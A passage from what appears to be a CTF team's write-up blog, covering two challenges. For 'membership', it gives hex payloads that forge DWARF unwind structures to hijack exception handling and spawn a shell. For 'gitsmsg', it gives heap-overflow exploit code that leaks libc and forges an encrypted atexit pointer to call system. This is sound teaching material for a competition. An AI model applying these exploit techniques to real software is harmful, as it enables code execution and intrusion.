   for the current function, and starts to look for exception regions
   from that FDE. This works in a two-level search:
   a) in a linear search, find the shared image (i.e. DLL) containing
      the PC
   b) using the FDE table for that shared object, locate the FDE using
      binary search (which requires the sorting).  */

Let’s review some of the primitive structs and functions that are used in above code to get a better understanding of what’s going on. We will make references to these as we explain the code later.

static struct frame_hdr_cache_element
{
  _Unwind_Ptr pc_low;
  _Unwind_Ptr pc_high;
  _Unwind_Ptr load_base;
  const ElfW(Phdr) *p_eh_frame_hdr;
  const ElfW(Phdr) *p_dynamic;
  struct frame_hdr_cache_element *link;
} frame_hdr_cache[FRAME_HDR_CACHE_SIZE];

typedef struct
{
  Elf32_Word    p_type;         /* Segment type */
  Elf32_Off     p_offset;       /* Segment file offset */
  Elf32_Addr    p_vaddr;        /* Segment virtual address */
  Elf32_Addr    p_paddr;        /* Segment physical address */
  Elf32_Word    p_filesz;       /* Segment size in file */
  Elf32_Word    p_memsz;        /* Segment size in memory */
  Elf32_Word    p_flags;        /* Segment flags */
  Elf32_Word    p_align;        /* Segment alignment */
} Elf32_Phdr;

struct unw_eh_frame_hdr
{
  unsigned char version;
  unsigned char eh_frame_ptr_enc;
  unsigned char fde_count_enc;
  unsigned char table_enc;
}

struct dwarf_fde
{
  uword length;
  sword CIE_delta;
  unsigned char pc_begin[];
}

struct dwarf_cie
{
  uword length;
  sword CIE_id;
  ubyte version;
  unsigned char augmentation[];
}

struct fde_table
{
  signed initial_loc __attribute__ ((mode (SI)));
  signed fde __attribute__ ((mode (SI)));
}

And, these are some functions that are used when parsing data:

/* Load an encoded value from memory at P.  The value is returned in VAL;
   The function returns P incremented past the value.  BASE is as given
   by base_of_encoded_value for this encoding in the appropriate context.  */

static const unsigned char *
read_encoded_value_with_base (unsigned char encoding, _Unwind_Ptr base,
                  const unsigned char *p, _Unwind_Ptr *val)

/* Like read_encoded_value_with_base, but get the base from the context
   rather than providing it directly.  */

static inline const unsigned char *
read_encoded_value (struct _Unwind_Context *context, unsigned char encoding,
            const unsigned char *p, _Unwind_Ptr *val)

/* Read an unsigned leb128 value from P, store the value in VAL, return
   P incremented past the value.  We assume that a word is large enough to
   hold any value so encoded; if it is smaller than a pointer on some target,
   pointers should not be leb128 encoded on that target.  */

static const unsigned char *
read_uleb128 (const unsigned char *p, _uleb128_t *val)

/* Given an encoding and an _Unwind_Context, return the base to which
   the encoding is relative.  This base may then be passed to
   read_encoded_value_with_base for use when the _Unwind_Context is
   not available.  */

static _Unwind_Ptr
base_of_encoded_value (unsigned char encoding, struct _Unwind_Context *context)

That was a lot of stuff, but don’t worry about understanding/remembering all of them since we will go over the logic at somewhat high-level.

When an exception is thrown, the PC is looked up to find a correct FDE for the current function.

First, they search the shared library cache linked-list (which we control the head pointer).
Once the entry is found, they get unw_eh_frame_hdr (hdr variable) by adding p_vaddr and load_base. Then, they make sure the version of hdr is 1.
- hdr also contains the flags for encoding schemes for eh_frame_ptr, fde_count, and table.
- Encoding flag is defined in unwind-pe.h, but important ones are: DW_EH_PE_pcrel (0x10, pc-relative), DW_EH_PE_absptr (0x00, absolute), DW_EH_PE_sdata4 (0x0b, signed 4 byte), DW_EH_PE_udata4 (0x03, unsigned 4 byte).
Parse eh_frame and fde_count
Perform binary search in table for the data->pc against table[i].initial_loc + data_base , where data_base is hdr.
When found an element in table, set f to table[mid].fde + data_base (thus, calculating the FDE pointer).
Final check is done by parsing the range to ensure that this FDE record covers data->pc (table[mid].initial_loc + data_base <= data->pc < table[mid].initial_loc + data_base + range )
data->ret is filled with f.

It’s important to carefully construct a (fake) FDE record since it holds CIE_delta field, which is used to locate the CIE record to be parsed later (for personality function pointer).

Only piece that we haven’t visited yet is extract_cie_info, but we will visit it as we develop an exploit payload :)

Exploit development

Finally, we can start writing some ~evil~ awesome payload to pwn this binary.

Here’s our plan for the attack:

Overwrite frame_hdr_cache_head (0x402eb118) to point to our stdin buffer (0x40025000 + 0x1c for skipping userid/password/padding)
Construct fake structs:
- cache_entry (frame_hdr_cache_element)
- p_eh_frame_hdr (Elf32_Phdr)
- hdr (unw_eh_frame_hdr)
- table (fde_table)
- fde (dwarf_fde)
- cie (dwarf_cide)
When creating a fake cie struct, we make the personality function pointer 0x8048E97, where it does execlp("/bin/sh", "/bin/sh", 0), and get a shell!!

Note that the some of the fields in structs are relative offsets, so we need to plan where to put things and link them correctly.

Trigger

Let’s start with a simple payload that would pass the check and trigger the bug.

00000000  73 74 64 63 68 70 69 65  0a 41 01 b1 2e 40 41 41  |stdchpie.A...@AA|
00000010  41 41 41 41 41 41 41 41  41                       |AAAAAAAAA|
00000019

(gdb) r &lt; payload
Starting program: /tmp/.ppp/./membership &lt; trigger
userid :: password ::
Program received signal SIGSEGV, Segmentation fault.
0x08048e01 in ?? ()
(gdb) c
Continuing.
nested

Program received signal SIGSEGV, Segmentation fault.
0x08048cc5 in ?? ()
(gdb) c
Continuing.
nested

Program received signal SIGSEGV, Segmentation fault.
0x08048cc5 in ?? ()
(gdb) x/wx 0x402eb101
0x402eb101:     0x41414141

As we can see in action, this payload triggers the bug and causes infinite SIGSEGV. We currently chose 0x402eb101 for no particular reason, but we can see that memory is successfully written.

cache_entry & p_eh_frame_hdr construction

Now, we overwrite frame_hdr_cache_head to point to our stdin buffer.

We are going to start building fake structs from our buffer + 0x1c.

So what values should we use? To not worry about the search too much, we are going to set pc_low to 0x0 and pc_high to 0xFFFFFFFF. This basically says that this cache entry should be used for any exception thrown in this range of addresses — so we’ll catch everything. Also, to make it easy to do math, we are going to make load_base to **. Finally, we have to set **p_eh_frame_hdr pointer to the fake Elf32_Phdr struct. We will put this fake phdr struct right after our fake cache_entry struct that we are currently building. The rest of the fields are not really used (for our purpose), so we can put dummy values.

This gives us this:

*frame_hdr_cache_head:
 | pc_low = 0x00000000
 | pc_high = 0xFFFFFFFF
 | load_base = 0x00000000
 | p_eh_frame_hdr = 0x40025034
 | p_dynamic = 0x43434343
 | link = 0x00000000

For p_eh_frame_hdr struct, we only care about p_vaddr which is used to calculate hdr (unw_eh_frame_hdr).

*p_eh_frame_hdr:
 | p_type = 0x6474e550
 | p_offset = 0x44444444
 | p_vaddr = 0x40025054
 | p_paddr = 0x45454545
 | p_filesz = 0x46464646
 | p_memsz = 0x47474747
 | p_flags = 0x48484848
 | p_align = 0x49494949

Let’s see in action.

00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49                                       |IIII|

Breakpoint 1, 0x0804901a in ?? ()
(gdb) x/20wx 0x402eb118
0x402eb118:     0x4002501c      0x00000000      0x402cf000      0x402e9038
0x402eb128:     0x402cf000      0x402cf0b4      0x402cf074      0x402eb168
0x402eb138:     0x401e5000      0x402c1086      0x401e5000      0x401e50d4
0x402eb148:     0x401e5074      0x402eb120      0x08048000      0x08049840
0x402eb158:     0x00000000      0x080480f4      0x080480b4      0x402eb138
(gdb) x/20wx 0x4002501c
0x4002501c:     0x00000000      0xffffffff      0x00000000      0x40025034
0x4002502c:     0x43434343      0x00000000      0x6474e550      0x44444444
0x4002503c:     0x40025054      0x45454545      0x46464646      0x47474747
0x4002504c:     0x48484848      0x49494949      0x00000000      0x00000000
0x4002505c:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/20wx 0x40025034
0x40025034:     0x6474e550      0x44444444      0x40025054      0x45454545
0x40025044:     0x46464646      0x47474747      0x48484848      0x49494949
0x40025054:     0x00000000      0x00000000      0x00000000      0x00000000
0x40025064:     0x00000000      0x00000000      0x00000000      0x00000000
0x40025074:     0x00000000      0x00000000      0x00000000      0x00000000

So, this payload basically lets us to execute goto found; code (unwind-dw2-fde-dip.c:225) since the data->pc will be in between pc_low and pc_high.

Then, on line 315, hdr is calculated by adding p_eh_frame_hdr->p_vaddr and load_base, thus pointing 0x40025054. Time to build a fake hdr struct!

hdr & table construction

Starting at +0x54 from our buffer comes the hdr struct. It’s a 4 byte struct and we fill in reasonable values here, according to the encoding scheme mentioned above.

*hdr:
 | version = 0x01
 | eh_frame_ptr_enc = 0x1b (DW_EH_PE_pcrel | DW_EH_PE_sdata4)
 | fde_count_enc = 0x03 (DW_EH_PE_absptr | DW_EH_PE_udata4)
 | table_enc = 0x3b (DW_EH_PE_datarel | DW_EH_PE_sdata4)

Then, as we saw earlier, eh_frame is read. Since the value is supposedly encoded with (DW_EH_PE_pcrel | DW_EH_PE_sdata4), this value in our data should be an offset from where the hdr is. However, the value of eh_frame isn’t really related to what we do, so we can put any value (read_encoded_value_with_base actually does the calculation given the base to correctly compute eh_frame’s value).

Ok, next check is the following:

if (hdr-&gt;fde_count_enc != DW_EH_PE_omit
    && hdr-&gt;table_enc == (DW_EH_PE_datarel | DW_EH_PE_sdata4))

We have picked the values for encoding schems such that we satisfy both conditions. Then, fde_count is read. Since we do not want to create more than one set of fake structs (to be searched with binary search later), we will force this to be 1.

So with this data appended, we so far have this as our payload:

00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49 01 1b 03 3b  4a 4a 4a 4a 01 00 00 00  |IIII...;JJJJ....|

Then, the table comes next. fde_table struct has two fields: initial_loc and fde.

As mentioned earlier, in order for the search to succeed, we need to satisfy table[mid].initial_loc + data_base <= data->pc < table[mid].initial_loc + data_base + range.

Note that data_base is pointing at hdr (0x40025054). So we can set initial_loc to 0xBFFDAFAC such that initial_loc + data_base == 0x40025054 + 0xBFFDAFAC == 0x0.

Also, the fde field is actually an (signed) offset from hdr — due to (DW_EH_PE_datarel

DW_EH_PE_sdata4) encoding. So, we set it to 0x14 to indicate that our fake dwarf_fde struct will be located at 0x40025068.

Fake hdr and table construction is done, and we now have this:

00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49 01 1b 03 3b  4a 4a 4a 4a 01 00 00 00  |IIII...;JJJJ....|
00000060  ac af fd bf 14 00 00 00                           |........|

The current payload, when fed to the program, will result in a crash since it will read an invalid value for the range. To make data->pc < initial_loc + data_base + range true, we need to construct a fake dwarf_fde now.

fde & cie construction

As a final step, we are going to construct fde and cie records in our payload.

dwarf_fde struct has length, CIE_delta, and pc_begin fields (followed by fde_augmentation length, which should be 0).

We are going to make the length 0x1C, and CIE_delta to 0xFFFFFFE4 (such that &CIE_delta — CIE_delta == 0x40025088 — this will be explained later). We will set pc_begin to 0x0 (doesn’t really matter what we put here).

What comes after pc_begin is the range. To explain a little bit, on line 412 in unwind-dw2-fde-dip.c, range is read from** f->pc_begin[f_enc_size]** where f_enc_size is 4, making the 4 byte right after pc_begin be the range. Since we made the init_loc to be 0x0, we will make the range to be 0xFFFFFFFF. Then, we pad the last few bytes (so, technically we can fix the length, but that’s what we used during the competition).

This yields our payload to be:

00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49 01 1b 03 3b  14 00 00 00 01 00 00 00  |IIII...;........|
00000060  ac af fd bf 14 00 00 00  1c 00 00 00 e4 ff ff ff  |................|
00000070  00 00 00 00 ff ff ff ff  00 00 00 00 00 00 00 00  |................|
00000080  00 00 00 00 00 00 00 00                           |........|

We are almost there!!!

Above payload will result in data->ret to contain a pointer to our FDE struct and return to _Unwind_Find_FDE.

In _Unwind_Find_FDE, nothing interesting happens, and the same (a pointer to our fake FDE struct) is returned.

We are now back to uw_frame_state_for function (line 1180 in unwind-dw2.c). Since fde is not null, extract_cie_info is called with the cie pointer that is based on our fde.

1195
 cie = get_cie (fde);
 insn = extract_cie_info (cie, context, fs);
 if (insn == NULL)
   /* CIE contained unknown augmentation.  */
   return _URC_FATAL_PHASE1_ERROR;
1201

/* Locate the CIE for a given FDE.  */

static inline const struct dwarf_cie *
get_cie (const struct dwarf_fde *f)
{
  return (const void *)&f-&gt;CIE_delta - f-&gt;CIE_delta;
}

Looking at the get_cie function, we can see why we put 0xFFFFFFE4 for CIE_delta value in our FDE struct. With our setup, get_cie will return the CIE struct’s address, which will be right after our fake FDE struct (aka 0x40025088).

Now, we have 1 final function that we need to understand: extract_cie_info.

This function is mostly parsing stuff and filling in the _Unwind_Frame_State data based on the CIE record.

dwarf_cie struct has length, CIE_id, version, and augmentation — and depending on augmentation content, more data follows.

Here’s the values we set for our fake CIE struct:

*cie:
 | length = 0x1c
 | CIE_id = 0x0
 | version = 0x1
 | augmentation = 0x7a(z) 0x50(P) 0x4c(L) 0x52(R) 0x00(\0)
 - code_alignment = 0x01 (byte)
 - data_alignment = 0x7c (byte)
 - return_addr_col = 0x08 (byte)
 - augmentation_len = 0x07 (byte)
 - personality_enc = 0x00 (byte)
 - personality_ptr = 0x41424344 (4 bytes)
 - LSDA encoding = 0x00 (byte)
 - FDE_encoding = 0x1b (DW_EH_PE_pcrel | DW_EH_PE_sdata4)

Data that follows after augmentation string (code_alignment, data_alignment, return_addr_col) are read in first. We chose these values just because we saw these in normal CIE struct, but it shouldn’t matter what the values are.

Then, the rest of the data is parsed as augmentation contents (aka ‘zPLR’).

If the first byte is ‘z’, it sets fs->saw_z flag and note that the length of the extra augmentation data (which follows the length itself) is 0x07.
‘P’ indicates a personality routine is specified in CIE (extra) augmentation, and basically read the personality_ptr value (4-byte) based on the personality_enc encoding scheme — which we set as 0x0 to make it absptr type.
‘L’ indicates a byte showing how the LSDA pointer is encoded. No idea what that is, but it’s not relevant — we put 0x0.
‘R’ indicates a byte indicating how FDE addresses are encoded. We put some sane value that we saw earlier, but shouldn’t matter either.

Alright, now with some padding bytes to make the total length 0x1c, we are set.

Thus far, we have built the following payload:

00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49 01 1b 03 3b  14 00 00 00 01 00 00 00  |IIII...;........|
00000060  ac af fd bf 14 00 00 00  1c 00 00 00 e4 ff ff ff  |................|
00000070  00 00 00 00 ff ff ff ff  00 00 00 00 00 00 00 00  |................|
00000080  00 00 00 00 00 00 00 00  1c 00 00 00 00 00 00 00  |................|
00000090  01 7a 50 4c 52 00 01 7c  08 07 00 44 43 42 41 00  |.zPLR..|...DCBA.|
000000a0  1b 00 00 00                                       |....|

And corresponding output when we run this payload against the binary:

(gdb) r &lt; payload
Starting program: /tmp/.ppp/./membership &lt; payload
userid :: password ::
Program received signal SIGSEGV, Segmentation fault.
0x08048e01 in ?? ()
(gdb) c
Continuing.
nested

Program received signal SIGSEGV, Segmentation fault.
0x08048cc5 in ?? ()
(gdb)
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb)

YAY!!! WE HAVE EIP CONTROL!!!!111!!11!

Ok, now on to the final and easiest step: getting a shell.

Give me a shell

Remember (from a while ago) that there was code that does execlp("/bin/sh", "/bin/sh", 0)? For those who don’t remember, it’s located at 0x8048E97.

All we have to do at this point is to replace 0x41424344 (personality routine pointer) to 0x8048e97.

AND

$ cat payload - | /home/membership/membership
userid :: password :: nested
whoami
membership
cat /home/membership/key
G4R4Ge_BaND_wANNAB3

Voila! We have our shell (and the flag, of course!)

Closing

I hope you enjoyed reading this write-up. (Although I suspect not.. due to its obscene length)

I apologize that this ended up being a LOT longer than I anticipated when I started writing, but I think it contains quite a bit of details that people can follow and reproduce the result.

Try it while their server is up!! Otherwise you will have to patch the binary such that the addresses work out.

Thank you for reading, and feel free to leave comments if you have any questions or suggestions.

Write-up by Cai (Brian Pak) [https://www.bpak.org]

gitsmsg

Sun, 19 Jan 2014 00:00:00 +0000

tl;dr

gitsmsg is a messaging server. A heap overflow led to arbitrary read / write and eventual code exec after circumventing RELRO.

Binary and exploit available here.

The program

First, we reverse engineered much of the binary. You “login” as a user, then can compose messages to other users. The messages were saved to a linked list and could be edited before being serialized to disk. Each message is a tagged union of {byte,dword,double}{_,array} or string. A string indexed into an array of static strings. A “typical” usage might be:

# After connection, appropriate functions hide the binary protocol.
login("alex")
newmessage(to="andrew", msg_type=DWORD_ARRAY, count=1, data=17)
newmassage(to="max", msg_type=STRING, count=1, data=2)
edit(msgid=0, offset=0, data=14)
delete(msgid=1)
save(0)
disconnect()

The vulnerability

In short, when initializing one of the message type, the programmer forgot to factor the data type width when calculating the message size:

case DOUBLE_ARRAY:
  size = count;
  size = 8 * count;
  v3 = 8 * count &lt; 0x3FF;
  v4 = 8 * count == 1023;
  v0-&gt;count = count;
  if ( !(v3 | v4) )
    goto LABEL_9;
  data = (char *)malloc(size);

This eventually gives us a heap overwrite:

result = readAll(data, size);

At this point, it seems relatively straightforward. We will allocate 2 messages, leaving the heap in this state:

| message A | data A | message B |

We then free the first message:

| &lt;free&gt; | &lt;free&gt; | message B |

And allocate a new message of type DOUBLE_ARRAY, allowing us to overwrite and modify the second message:

| message C | data C ... essage B |

Our goal will be to overwrite a GOT entry and give us a shell. Since the program is PIE, we have to leak an address first. We do this by editing the second message which does 2 things for us: it allows us to put it back into a valid state, and it will put a address from the .data segment into the heap (if a string message is edited, it will update the message data pointer to point to the correct string in the .data segment).

Actually, at this point we have an arbitrary read and an arbitrary write primitive. Since the data for the first message overlaps with the type and pointer of the second message, we can edit the first message to change the type of the second. If we change the type of the second message to dword and its pointer to <address>, we can get the contents of the second message to read from that address and edit the contents of the second message to write to that address.

Once we have the program base, we use our arbitrary read primitive to leak a libc address. We know it is an Ubuntu machine, so we download a couple versions of libc and compare the address to the symbol in each of the versions to match the correct libc version. We can now overwrite free with system and delete our message to get a shell!

free_addr = arbitrary_read(prog_base + 0x4f2c)
head = prog_base + 0x5160
libc_base = free_addr - 0x781b0
system_addr = libc_base + 0x3d170

Except this didn’t work — the program had full RELRO support, so the GOT was read only.

To get around this, we had to do some painful stuff. We noticed a directory traversal attack in the login function, and though we could use that to put the key into the heap (and read it later). Unfortunately, the malloc implementation seemed to clobber the key after it freed the blob. Instead, our strategy was to overwrite an atexit handler function pointer located in libc with the address of system and to overwrite the argument for this handler with a buffer we controlled. Unfortunately, this function pointer was encrypted. To decrypt, we computed what the function pointer was supposed to be by leaking an address from ld.so and using the address and the encrypted value to calculate the key.

rtld_global_ro_address = arbitrary_read(libc_base + 0x1a0ef8)
ld_base = rtld_global_ro_address - 0x20ca0
ld_fini_address = ld_base + 0xf270
encrypted_atexit_handler = arbitrary_read(libc_base + 0x1a21ec)
xor_key = ror(encrypted_atexit_handler, 9) ^ ld_fini_address

We then encrypted our target address with this key, update the function pointer to use our new address and updated the argument to point to a buffer we controlled

encrypted_system = rol(system_addr ^ xor_key, 9)
arbitrary_write(libc_base + 0x1a21ec, encrypted_system)
arbitrary_write(libc_base + 0x1a21f0, obj0 + 0x110)

To trigger our exploit, we just sent the disconnect message (which fortunately didn’t disconnect the socket). For our final exploit, we used the payload cat key >&4 to dump the key to the already open socket.

$ python gitsmsg.py
Deleting messages ...
Performing overflow ...
Editing ...
Getting ...
Getting libc base ...
Getting ld base ...
Writing encrypted function pointer ...
The key is: lol, tagged unions for the WIN!
*** Connection closed by remote host ***